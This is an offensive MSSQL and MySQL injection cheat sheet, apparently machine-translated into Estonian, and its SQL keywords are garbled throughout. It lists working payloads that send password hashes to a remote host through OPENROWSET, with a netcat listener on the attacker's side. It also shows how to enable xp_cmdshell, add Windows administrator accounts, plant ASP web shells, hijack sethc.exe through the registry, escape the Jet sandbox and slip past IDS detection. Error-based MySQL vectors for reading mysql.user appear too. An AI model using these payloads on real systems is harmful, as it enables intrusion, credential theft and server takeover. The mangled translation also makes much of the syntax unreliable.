insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Aadress=192.168.0.1,1433; ,vali

* _blank>_syscolumns)
vali * user_blank>_database.dbo.syscolumns hulgast
Replikeeri _blank> andmebaasi:
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Aadress=192.168.0.1,1433; ,vali

* tabelist 1) vali * andmebaasist.. Tabel 1
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Aadress=192.168.0.1,1433; ,vali

* tabelist 2) vali * andmebaasist.. Tabel 2

Parooli räsi, mis kopeerib räsitabeli (HASH) sisselogimise _blank> parooli, salvestatakse sysxlogins'i. Siin on, kuidas:
insert into OPENROWSET(SQLOLEDB,

uid=sa; pwd=123; Network=DBMSSOCN; Aadress=192.168.0.1,1433; , vali * _blank>_sysxlogins)

Vali * andmebaasi.dbo.sysxlogins hulgast
Kui saad räsi kätte, saad selle jõuga teha.

Kataloogi läbimiseks: Esmalt loo ajutine tabel: temp
; loo tabel temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); –
; sisesta temperatuuri täitev master.dbo.xp_blank>_availablemedia; – Hangi kõik praegused kettad
; sisesta temp(id) exec master.dbo.xp_blank>_subdirs c:\; – Hangi alamkataloogide nimekiri
; sisesta temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – Hangi kõigi alamkataloogide kataloogipuu struktuur,

Ühenda tollid temperatuuri tabelisse
; sisesta temp(id) exec master.dbo.xp_blank>_cmdshell tüüp c:\web\index.asp; – Vaata faili

Sisu
; insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\; –
; sisesta temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a; –
; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts

\adsutil.vbs enum w3svc
; sisesta temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Kohaldatav volitus

AVALIK)
Kirjuta lauale:
väide 1: ja 1=(Vali IS_blank>_SRVROLEMEMBER(süsteemiadministraator)); –
Väide 2: ja 1=(Vali IS_blank>_SRVROLEMEMBER(serveradmin)); –
Väide 3: ja 1=(Vali IS_blank>_SRVROLEMEMBER(setupadmin)); –
Väide 4: ja 1=(Vali IS_blank>_SRVROLEMEMBER(securityadmin)); –
Väide 5: ja 1=(Vali IS_blank>_SRVROLEMEMBER(securityadmin)); –
Väide 6: ja 1=(Vali IS_blank>_SRVROLEMEMBER(diskadmin)); –
Väide 7: ja 1=(Vali IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Väide 8: ja 1=(Vali IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Väide 9: ja 1=(Vali IS_blank>_MEMBER(db_blank>_owner)); –

Kirjuta tee tabelisse:
; Loo tabel dirs(paths varchar(100), id int)–
; Lisa DIRS Exec master.dbo.xp_blank>_dirtree C:\–
ja 0<>(vali DIRS-ist Top 1 rajad)–
ja 0<>(vali DIRS-ist top 1 rajad, kus rajad ei ole (@Inetpub)))–
; loo tabel dirs1(paths varchar(100), id int)–
; Lisa DIRS-i juht master.dbo.xp_blank>_dirtree e:\web–
ja 0<>(vali DIRS1 Top 1 rajad)–

Varundage _blank> andmebaas veebikataloogi: Laadige alla
; kuulutada @a sysname; komplekt @a=db_blank>_name(); varundusandmebaas @a disk=e:\web\down.bak; –

ja 1=(Vali top 1 nimi hulgast(Vali top 12 id, nimi sysobjectsist, kus xtype=char(85)) T

Tellimus: id Desc)
ja 1=(Vali Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) sysobjectsist) Vaata ka

Seotud tabelid.
ja 1=(vali user_blank>_id USER_blank>_LOGIN hulgast)
ja 0=(vali kasutaja USER_blank>_LOGIN kus kasutaja>1)

-=- wscrip{filter}t.shell näide -=-
deklareeri @o intellekt
exec sp_blank>_oacreate wscrip{filter}t.shell, @o out
täitja sp_blank>_oamethod @o, jookse, NULL, notepad.exe
; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, notepad.exe–

declare @o int, @f int, @t int, @ret int
deklareeri @line varchar (8000)
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
Exec sp_blank>_oamethod @o, opentextfile, @f välja, c:\boot.ini, 1
exec @ret = sp_blank>_oamethod @f, readline, @line out
while( @ret = 0 )
Alusta
Prindi @line
exec @ret = sp_blank>_oamethod @f, readline, @line out
Lõpp

declare @o int, @f int, @t int, @ret int
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>

declare @o int, @ret int
Exec sp_blank>_oacreate speech.voicetext, @o välja
exec sp_blank>_oamethod @o, register, NULL, foo, bar
Exec sp_blank>_oasetproperty @o, kiirus, 150
exec sp_blank>_oamethod @o, räägi, NULL, kõik su järjeserverid kuuluvad meile, 528
oota viivitust 00:00:05

; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec

sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, kiirus, 150 exec

sp_blank>_oamethod @o, räägi, NULL, kõik su järjeserverid kuuluvad meile, 528 ootab viivitust

00:00:05–

xp_blank>_dirtree vastavat AVALIKKU luba
exec master.dbo.xp_blank>_dirtree c: tagastatud infol on kaks välja: alamkataloog, sügavus. Alamkataloogi väljad

Tähemärgi tüüp, sügavusväli on kujundamisväli.
Loo tabel dirs(teed: varchar(100), id int)
Tabeli koostamine, siin loodud tabel on seotud ülaltoodud xp_blank>_dirtree-ga, kus väljad on võrdsed ja sama tüüp.
sisesta dirs exec master.dbo.xp_blank>_dirtree c: Kui ehitame tabeli ja defineerime salvestusprotsessi tagastatud väljad võrdselt

Täida! Tabelite kirjutamise efekti saavutamiseks tuleb samm-sammult saavutada soovitud info!
See vea süstimine põhineb peamiselt Mysql andmetüübi ülevoolul
    mysql > SELECT 18446744073709551610 * 2 ;
    VIGA 1690 (22003): BIGINT UNSIGNED väärtus on vahemikust väljas '(18446744073709551610 * 2)'

    mysql > SELECT - 1 * 9223372036854775808 ;
    VIGA 1690 ( 22003 ): BIGINT UNSIGNED väärtus on vahemikust väljas '(- (1) *

9223372036854775808)'
Päringu andmebaasi versioon:
    mysql> SELECT * 2 (kui ((SELECT * from (SELECT (versioon ()) ) s), 18446744073709551610,

18446744073709551610));
    VIGA 1690 (22003): BIGINT UNSIGNED väärtus on vahemikust väljas '(2 * if (( Select ' 5.5 'from

Dual), 18446744073709551610.18446744073709551610))'
Hangi välja nimi:
    mysql> SELECT 2 * if((SELECT * from (select * from test.shop) as '' limit 1)>(SELECT * from

test.shop piir 1), 18446744073709551610, 18446744073709551610);

    VIGA 1690 (22003): BIGINT UNSIGNED väärtus on vahemikust väljas '(2 * if(((select

'artikkel','dealer','price' (vali 'test'.'shop'.'article' AS

'artikkel','test'.'shop'.'dealer' AS 'dealer','test'.'pood'.'price' AS 'hind' from

'test'.'pood') piirang 1) > (vali

'test'.'pood'.'artikkel','test'.'pood'.'müüja','test'.'pood'.'hind' 'test'.'poe' piir

1)),18446744073709551610,18446744073709551610))'
Hangi välja väärtus:

    mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) kui '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610);

    VIGA 1690 (22003): BIGINT UNSIGNED väärtus on vahemikust väljas '(2 * if(((select

'localhost','root','*','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','

Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','','','','0','','' DUELTPIIR 1)

<

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440

73709551610,18446744073709551610))'

Pane tähele, et see meetod ei tööta vanemate MySQL versioonidega ning peate teadma veateate pikkuse piiri, sest see määrab

Võid saada nii kaua kui soovid:
    Mysys / my_error.c

    /* Veateate maksimaalne pikkus. Peaks olema sünkroonis MYSQL_ERRMSG_SIZE. */
    #define ERRMSGSIZE (512)

Kui objekt on MariaDB (MySQL haru), võid ülaltoodud meetodil näha sellist veateadet:

    mysql> SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,

18446744073709551610))
    VIGA 1690 (22003): BIGINT UNSIGNED väärtus on vahemikust väljas '(2 * if((select

#),18446744073709551610,18446744073709551610))'

Lahendusena saab selle probleemi lahendada järgmiselt:

    mysql> SELECT (i EI OLE NULL) - -9223372036854775808 FROM (SELECT (versioon())i)a;
    ERROR 1690 (22003): BIGINT väärtus on vahemikust väljas '(('5.5-MariaDB' ei ole null) - -

(9223372036854775808))'
Nüüd vaatame, kas saame oma vektori veidi lühemaks teha

//查询数据库版本

    SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,

18446744073709551610))
    =
    select 1E308*if((select*from(select version())x),2,2)

    SELECT (i EI OLE NULL) - -9223372036854775808 FROM (SELECT (versioon())i)a
    =
    vali if(x,2,2)*1E308 from(select version()x)y
//获取表字段名称
    SELECT 2 * if((SELECT * from (select * from test.shop) as '' limit 1)>(SELECT * from

test.shop piir 1), 18446744073709551610, 18446744073709551610)
    =
    select 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit

1),2,2)

//获取字段值

    SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) kui '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610)
    =
    select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from

mysql.user limit 0),2,2)
//获取指定字段的值
    select 1E308*if((select user|| saatejuht|| parool|| file_priv from(select*from mysql.user LIMIT)

1) piir 1),2,2)
//获取字段个数


    select 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)



Mõned muud deformatsioonid

    SELECT (i EI OLE NULL) - -9223372036854775808 FROM (SELECT (versioon())i)a
    select 1E308*if((select user|| saatejuht|| parool|| file_priv from(select*from mysql.user LIMIT)

1) piir 1),2,2);
    =>
    select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit

1),1e308,0);
    mysql> select (select * from mysql.user)=1;
    MySQL> select (select * from mysql.user)in(1);

    VIGA 1241 (21000): Operandil peaks olema 42 veergu
    select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit

1),1e308,0);
    vali if((vali kasutaja|| saatejuht|| parool|| file_priv from(select*from mysql.user LIMIT 1)a

piir 1),2,2)*1E308
    SELECT (i EI OLE NULL) - -9223372036854775808 FROM (SELECT (versioon())i)a
    select (x!=0x00)--9223372036854775808 from(SELECT versioon()x)y
    mysql> select!x-~0.FROM(select+user()x)f;
    VIGA 1690 (22003): BIGINT UNSIGNED väärtus on vahemikust väljas '((not('root@localhost'))) - ~

(0))'
3. Hinda andmebaasisüsteemi
; ja (select count(*) sysobjectsist)>0 mssql
; ja (select count(*) msysobjectsist)>0 ligipääs
4. Süstimisparameeter on tegelane
'ja [päringukriteeriumid] ja ''='
5. Otsingu ajal ei ole filtreeritud parameetreid
'ja [päringukriteeriumid] ja '%25'='
6. Arva ära andmebaas
; ja (vali Count(*) [andmebaasi nimi])>0
7. Arva välja väli
; ja (vali Count(välja nimi) andmebaasi nimest)>0
8. Arva väljal oleva rekordi pikkus
; ja (vali top 1 lens (välja nimi) andmebaasi nimest)>0
9. (1) Arva välja ASCII väärtus (ligipääs)
; ja (vali top 1 ASC (mid(field name, 1,1)) andmebaasi nimest)>0
(2) Arva välja ASCII väärtus (mssql)
; ja (vali top 1 unicode(alamstring(välja nimi, 1,1)) andmebaasi nimest)>0
10. Testilubade struktuur (mssql)
; ja 1=(vali IS_SRVROLEMEMBER('süsteemiadministraator')); --
; ja 1=(vali IS_SRVROLEMEMBER('serveradmin')); --
; ja 1=(vali IS_SRVROLEMEMBER('setupadmin')); --
; ja 1=(vali IS_SRVROLEMEMBER('securityadmin')); --
; ja 1=(vali IS_SRVROLEMEMBER('diskadmin')); --
; ja 1=(vali IS_SRVROLEMEMBER('bulkadmin')); --
; ja 1=(vali IS_MEMBER('db_owner')); --
11. Lisa konto mssql-i ja süsteemi jaoks
; juht master.dbo.sp_addlogin kasutajanimi; --
; exec master.dbo.sp_password null, kasutajanimi, parool; --
; juht master.dbo.sp_addsrvrolemember süsteemiadministraatori kasutajanimi; --
; Exec master.dbo.xp_cmdshell 'Net User Username Password /Workstations:* /Times:All

/passwordchg:yes /passwordreq:yes /active:yes /add';--
; exec master.dbo.xp_cmdshell 'netikasutaja kasutajanimi parool /lisa'; --
; Exec master.dbo.xp_cmdshell 'Net LocalGroup Administrators kasutajanimi /add'; --
12. (1) Kataloogi läbimine
; Loo tabel dirs(teed: varchar(100), id int)
; Lisa DIRS-i juht master.dbo.xp_dirtree 'c:\'
; ja (vali DIRS-ist Top 1 rajad)>0
; ja (vali DIR-idest top 1 teed, kus teed ei ole ('teed, mis on saadud eelmisest sammust')))>)
(2) Kataloogi läbimine
; loo tabel temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; sisesta temp exec master.dbo.xp_availablemedia; -- Hangi kõik praegused kettad
; sisesta temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Hangi nimekiri alamkataloogidest
; sisesta temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Hangi kõigi alamkataloogide kataloogipuu struktuur
; sisesta temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Vaata faili sisu
13. Salvestatud protseduurid mssql-is
xp_regenumvalues Registri juurvõti, lapsvõti
; xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' ja palju muud

rekordkomplekti meetod kõigi võtmeväärtuste tagastamiseks
xp_regread Juurvõti, lapsvõti, võtme-väärtuse nimi
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'CommonFilesDir' tagastab formuleerimisvõtme väärtuse
xp_regwrite Juurvõti, lapsvõti, väärtuse nimi, väärtuse tüüp, väärtus
On kahte tüüpi väärtustüüpe REG_SZ REG_DWORD tähemärkide tüübid ja täisarvud
; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion','TestvalueName','reg_sz','hello' kirjutatakse registrisse
xp_regdeletevalue Juurvõti, alamvõti, väärtuse nimi
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName', et eemaldada väärtus
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' kustutamisvõti,

Lisa kõik väärtused selle võtme alla
14. MSSQL varukoopia loob veebishelli
Kasutusmudel
loo tabel cmd(str image);
insert into cmd(str) väärtused ('<% Dim oscrip{filter}t %>');
varundusandmebaasi mudel disk='c:\l.asp';
15. mssql sisseehitatud funktsioonid
; ja (vali @@version)>0, et saada Windowsi versiooninumber
; ja user_name()='dbo', et määrata, kas praeguse süsteemi ühendatud kasutaja on SA
; ja (vali user_name()))>0 Plahvatas praeguse süsteemi ühendatud kasutajad
; ja (vali db_name()))>0, et saada hetkel ühendatud andmebaas
16. Lühike veebikest
Kasutusmudel
loo tabel cmd(str image);
sisesta cmd(str) väärtused ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c

"&request("c")).stdout.readall%>');
varundusandmebaasi mudel disk='g:\wwwtest\l.asp';
Tellimisel kasuta midagi sellist:
http://ip/l.asp?c=dir
================================================================================================

================================================================================================

================================================================================================

================================================================================================

============================
Hangi kõik andmebaasinimed, sealhulgas süsteemiandmebaasid
–VALI nimi master.dbo.sysdatabases'ist

Hangi kõik mitte-süsteemi andmebaasinimed
–vali [nimi] master.dbo.sysdatabases, kus DBId>6 Tellimus [Nime] järgi

Hangi kogu info, sealhulgas andmebaasifaili aadress
–vali * master.dbo.sysdatabases, kus DBId>6 Järjekord järgi

[Nimi]



See lausepäring tagastab kõik kasutajatabelid

Vali * sysobjects'ist, kus xtype='u'


Otsi kogu süsteemi andmetabeli infot

Vali * sysobjects'ist



Vaata masina nime
Vali * sys.serveritest





Veeru sisukord
Täitevjuht master.dbo.xp_subdirs 'C:\'


Exec master.dbo.xp_dirtree 'C:',1,1 db_owner
Õigusi saab jõustada


exec master.dbo.xp_dirtree 'c:/Program Files',1,1





Programmkood, kirjutatud webshelli


täitja master.dbo.xp_subdirs 'd:\web\www.xx.com';
Täitevjuht sp_makewebtask 'd:

\web\www.XXXX.com\XX.asp','select"<%execute(request("SB"))%>"






Täitke meister.. xp_enumgroups  


Traverse-süsteemi kasutajad


Täitke meister.. xp_getnetname
Hangi praegune masina nimi


--Loetle serveris fikseeritud kettad koos iga ketta vaba ruumiga
   dbo avalik


execute

xp_ntsec_enumdomains


--
Loo konto, et MSSQL-i sisse logida
tegevjuht master.dbo.sp_addlogin nimi, pass; --






--
Loetle serveri domeeninimi
xp_ntsec_enumdomains //
Masina nimi //dbo avalik


--
Teenuse peatamine või käivitamine
xp_servicecontrol 'stop', 'schedule' //schedule on teenuse nimi //dbo


--Kasuta pid-i

Peata käivitav programm
xp_terminate_process 123 //123 on PID //dbo


--
Kataloogis on loetletud ainult alamkataloogid
dbo.xp_subdirs 'C:' //dbo


SQL Server
xp_cmdshell avamise meetod 2005. aastal
EXECUTIVE sp_configure 'näita täpsemaid valikuid', 1; RECONFIGURE; TÄITEVJUHT

sp_configure 'xp_cmdshell', 1; RECONFIGURE;

SQL2005 Ava 'OPENROWSET'
Toetatud meetodid:
Exec sp_configure 'näita täpsemaid valikuid', 1; RECONFIGURE; tegevjuht sp_configure 'Ad Hoc

Levitatud päringud',1; RECONFIGURE;

SQL2005 'sp_oacreate' toe lubamiseks:
Exec sp_configure 'näita täpsemaid valikuid', 1; RECONFIGURE; tegevjuht

sp_configure 'Ole automatiseerimise protseduurid',1; ÜMBERSEADISTA





Kuidas lubada xp_cmdshell SQL Server 2008-s


-- Et võimaldada täiustatud valikuid muuta.
TÄITEVJUHT

sp_configure 'näita täpsemaid valikuid', 1
MINE
-- Et uuendada hetkel konfigureeritud väärtust

Edasijõudnud valikud.
ÜMBERSEADISTA
MINE
-- Funktsiooni lubamiseks.
JUHT sp_configure 'xp_cmdshell', 1
MINE
-- Et

Uuenda selle funktsiooni hetkel konfigureeritud väärtust.
ÜMBERSEADISTA
MINE


Exec xp_cmdshell 'ipconfig'



Täna tahtsin muuta andmebaasi serveri SA sisselogimisparooli, kuid unustasin äkki, nii et pidin koos teiste kontodega AV analüsaatori avama, et SA parooli muuta

See on väga lihtne:


Täitmine:
sp_password Null, 'teracypwd,'sa'
Sea SA parool "teracypwd"


Pärast edukat hukkamist

Seal on "Käsk(id) edukalt lõpetatud."  OK!








andmebaasi õiguses eralda MSSQL andmebaasiserveri IP saamise meetod


1. Kohalik NC kuulab NC -VVLP 80


2.; sisesta sisse

OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Network=DBMSSOCN; Aadress=sinu IP, 80; ', 'vali *

dest_table') vali * src_table; --


vali * openrowsetist

('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','vali kasutaja; ')





Andmebaasi import ja eksport

/*不同服务器数据库之间的数据操作*/

--Loo lingiserver
Juht sp_addlinkedserver   

'ITSV', 'SQLOLEDB', 'Kaugserveri nimi või IP-aadress'
sp_addlinkedsrvlogin 'ITSV', 'vale

',null, 'kasutajanimi', 'parool'

--päringu näide
vali * ITSV.database name.dbo.table name

--impordi näide
vali *

tabelisse ITSV.databasename.dbo.tablename

--Kustuta lingitud server, kui seda tulevikus enam ei kasutata
'ITSV' sp_dropserver tegevjuht,

'droploginid'

--
Ühenduse loomine kaug-/LAN andmetega (openrowset/openquery/opendatasource)
--1、openrowset

--päringu näide
vali *

aadressilt openrowset( 'SQLOLEDB', 'SQL serveri nimi'; 'Kasutajanimi'; 'password', andmebaasi nimi.dbo.tabeli nimi)

--
Genereeri lokaalne tabel
vali * tabelisse openrowset( 'SQLOLEDB', 'SQL Server Name'; 'Kasutajanimi'; 'Parool', number

Andmebaasi name.dbo. tabeli nime järgi)

--
Impordi kohalik tabel kaugtabelisse
insert openrowset( 'SQLOLEDB', 'SQL Server Name'; 'Kasutajanimi'; 'Paroolid', andmebaasid

name.dbo.table name)
vali *kohalikust tabelist

--
Kohalike tabelite uuendamine
Uuendus B
hulk b. veerg A = a
aadressilt openrowset( 'SQLOLEDB', 'SQL serveri nimi'; 'Kasutajanimi'; '

parool ', andmebaasi nimi .dbo.table name) sisemise liitumiskoha tabelina b
a.veerg1=b.veerg1

--openquery
Kasutamine nõuab ühenduse loomist

--Kõigepealt loo ühendus, et luua lingiserver
sp_addlinkedserver 'ITSV' ', ' ',

'SQLOLEDB', 'kaugserveri nimi või IP-aadress'
--Uuri
vali *
FROM openquery(ITSV, 'SELECT * FROM andmetest

library.dbo.table name ')
--
Impordi kohalik tabel kaugtabelisse
Lisa openquery(ITSV, 'VALI * hulgast database.dbo.table name')
Vali * kohalikust

Tabel
--uuenda kohalikku tabelit
Uuendus B
hulk b. veerg B=a
FROM openquery(ITSV, 'SELECT * FROM database.dbo.tablename')

kui  
sisemine liitmine lokaalne tabel b a. veerg A=b. veerg A

--3、opendatasource/openrowset
SELECT *
ALLIKAST   

opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName; Kasutaja ID=Sisselogimisnimi; Parool=Parool '

).test.dbo.roy_ta
--
Impordi kohalik tabel kaugtabelisse



xp_cmdshell kustutamine ja taastamine


Viisid taastumiseks xp_cmdshell   
Kustuta pikendatud salvestatud protseduur xp_cmdshell

Avaldus   
Juht sp_dropextendedproc 'xp_cmdshell'   



Taasta cmdshelli SQL-lause   
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'   


tegevjuht

master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; vali count(*) hulgast

master.dbo.sysobjects, kus xtype='x' ja   
Tulemus on 1 ja see on okei   


Vastasel juhul pead üles laadima c:\inetput\web

\xplog70.dll hiljem   
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web\xplog70.dll

’; --   



Kui sa kustutad selle järgmisel viisil   
Drop-protseduur sp_addextendedproc   
Drop-protseduur sp_oacreate   
tegevjuht

sp_dropextendedproc 'xp_cmdshell'   



Seda saab taastada järgmise lausega   
dbcc addextendedproc ("sp_oacreate","odsole70.dll")   
DBCC

addextendedproc ("xp_cmdshell","xplog70.dll")   

Nii saab seda otse taastada, sõltumata sellest, kas sp_addextendedproc eksisteerib või mitte






1、
Kasuta xp_cmdshell:
          exec master.dbo.xp_cmdshell "net user admin admin /add"
          tegevjuht

master.dbo.xp_cmdshell "net localgroup administrators admin /add"

xp_cmdshell juhul kasuta sp_oacreate, et järgida sp_oamethod:
          deklareeri @object intellekti   
          tegevjuht

sp_oacreate 'wscrip{filter}t.Shell', @object välja         
          Juht sp_oamethod

@object,'Run',NULL,'net user admin admin /add'
          exec sp_oamethod @object,'Run',NULL,'net

localgroup Administraatorid admin /add'

Märkus: regsvr32 /s c:\windows\system32\wshom.ocx
Start wscrip{filter}t.shell
3、
Kasuta sp_oacreate ja FSO-d
          deklareeri @o intellekt
          Juht sp_oacreate

'scrip{filter}ting.filesystemobject', @o välja
          exec sp_oamethod @o, 'copyfile',null,'c:\windows

\explorer.exe' ,'c:\windows\system32\sethc.exe';
          deklareeri @oo intellekti
          tegevjuht

sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo out
          Täitevjuht sp_oamethod @oo,

'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

Kasuta xp_regwrite (db_owner, taaskäivitamine vajalik):
          Tegevjuht master.dbo.xp_regwrite

'hkey_local_machine','software\microsoft\windows\currentversion\


run','eadd1','reg_sz','net user admin admin /add'
          Tegevjuht master.dbo.xp_regwrite

'hkey_local_machine','software\microsoft\windows\currentversion\


run','eadd2','reg_sz','net localgroup administrators admin /add'
5. Kasuta sp_add_job:
          tegevjuht

master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
          Kasuta MSDB Exec sp_delete_job

null,'x'
          Exec sp_add_job 'X'
          Tegevjuht sp_add_jobstep

Null,'x',Null,'1','CMDEXEC','cmd /c net user admin admin /add'
          Juht sp_add_jobserver

Null, 'x', @@servername exec sp_start_job 'x'















Paljud SA-d on edukad paljudes masinates otse liivakastirežiimi kasutades, aga mina pole seda kunagi harjutanud ja ei tea, mis on edukuse määr. Kui pikendus eemaldatakse, esmalt

Taasta lugemis- ja kirjutamissalvestus registrisse.
dbcc addextendedproc ('xp_regread','xpstar.dll')
DBCC addextendedproc

('xp_regwrite','xpstar.dll')



Parandatud liivakasti kaitstud režiim
Täitevmeister.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet

\4.0\Engines','SandBoxMode','REG_DWORD',0; --



Vaata, kas 'SandBoxMode' väärtus on muutunud 0-ks.


EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'TARKVARA

\Microsoft\Jet\4.0\Engines', 'SandBoxMode'



Lõpuks kutsuge liivakasti režiim
vali * openrowset('microsoft.jet.oledb.4.0','; database=C:\WINDOWS

\system32\ias\dnary.mdb','select shell("cmd.exe /c net user passwd /add")')







Kui liivakasti kaitserežiim ei ole "väljas", teatatakse vea:
          Server: Msg 7357, tase 16, Olek 2, rida 1

Ebaõnnestus objekti 'select shell("cmd.exe /c net user passwd /add")' käsitlemine. OLE DB pakub programme

Eessõna 'microsoft.jet.oledb.4.0' näitab, et objektis pole veerge.

OLE DB veajälgimine [Mitte-liidese viga: OLE DB pakkuja ei suuda objekti töödelda, kuna objekt

on nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user

user passwd /add")']。


2、
Kui .mdb puudub või sisendtee on vale
           Server: Msg 7399, Tase 16, Olek 1, Rida 1

OLE DB provider 'microsoft.jet.oledb.4.0' viga.
            [OLE/DB teenusepakkuja tagastas sõnumi:

Faili 'C:\WINDOWS\system32\ias\dnary1.mdb' ei leitud. ]

OLE andmebaasi veajälitus [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize tagastatud

0x80004005: ]。


3. Kui sisendprotsessis on rohkem tühikuid, teatatakse samuti veast. Pöörake sellele erilist tähelepanu – paljud inimesed otsivad artikleid otse internetist

Kleebi see sisse ja käivita see.
          Server: Msg 7357, tase 16, Olek 2, rida 1
          Ebaõnnestus objekti 'select töötlemine

shell("cmd.exe /c netikasutaja passwd /add")'。
OLE DB pakkuja 'microsoft.jet.oledb.4.0' väidab, et objektil pole veerge.

OLE DB veajälgimine [Mitte-liidese viga:
OLE andmebaasi pakkuja ei suuda objekti töödelda, kuna objekt on

nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user

passwd /add")']。


4、
Kui mdb ja cmd.exe õigused on valed, tekib probleem samuti.
          Kui MDB õigused on valed,
           Server: Elimineeri

Intress 7320, tase 16, osariik 2, liin 1

Ta ei suutnud vastata
OLE andmebaasi pakkuja 'Microsoft.Jet.OLEDB.4.0' täidab päringu.
           [OLE/DB pakkuja tagastatud

message: 未知]
           OLE DB veajälitus [OLE/DB pakkuja 'Microsoft.Jet.OLEDB.4.0'

ICommandText::Execute returned 0x80040e14]。


5. Kui võrguluba on vale, puudub vihje.

Viimane viis autoriteedi tõstmiseks on laadida süsteemi ias.mdb ja cmd.exe praeguse veebikataloogi alla, net.exe kolm faili.

Käivita select * from openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','select shell

("E:\web\cmd.exe /c E:\web\net.exe kasutaja passwd /add")')
          Edukalt arvutikasutaja lisamine.






Cmdshelli jagamine möödub IDS-ist         
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'ipconfig'
deklareeri

@a sysname set @a='XP'+'_cm'+'dshell' exec @a 'dir c:\'





Muuda registri kaaperdamise nihke
Täitevmeister.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT

\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows

\system32\cmd.exe on'; --



Küsi linkserverilt
valima

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,dataaccess aadressilt master.dbo.sysservers
valima

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,dataaccess aadressilt master.dbo.sysservers



Päring linkserver2
vali distinct hostname,db_name(dbid),net_address,loginame,program_name

Meister.. sysprocessesid



Küsi linkserverilt
ja teised sisse logitud kasutajad
vali * [192.168.1.1].master.dbo.syslogins



Query linkserver
Kõik andmebaasid
select * linkedSrvWeb.master.dbo.sysdatabases



Teosta laiendatud salvestusruumi LinkServeris
Exec [IP].master.dbo.xp_cmdshell



Küsi kõiki tabeleid linkserveris
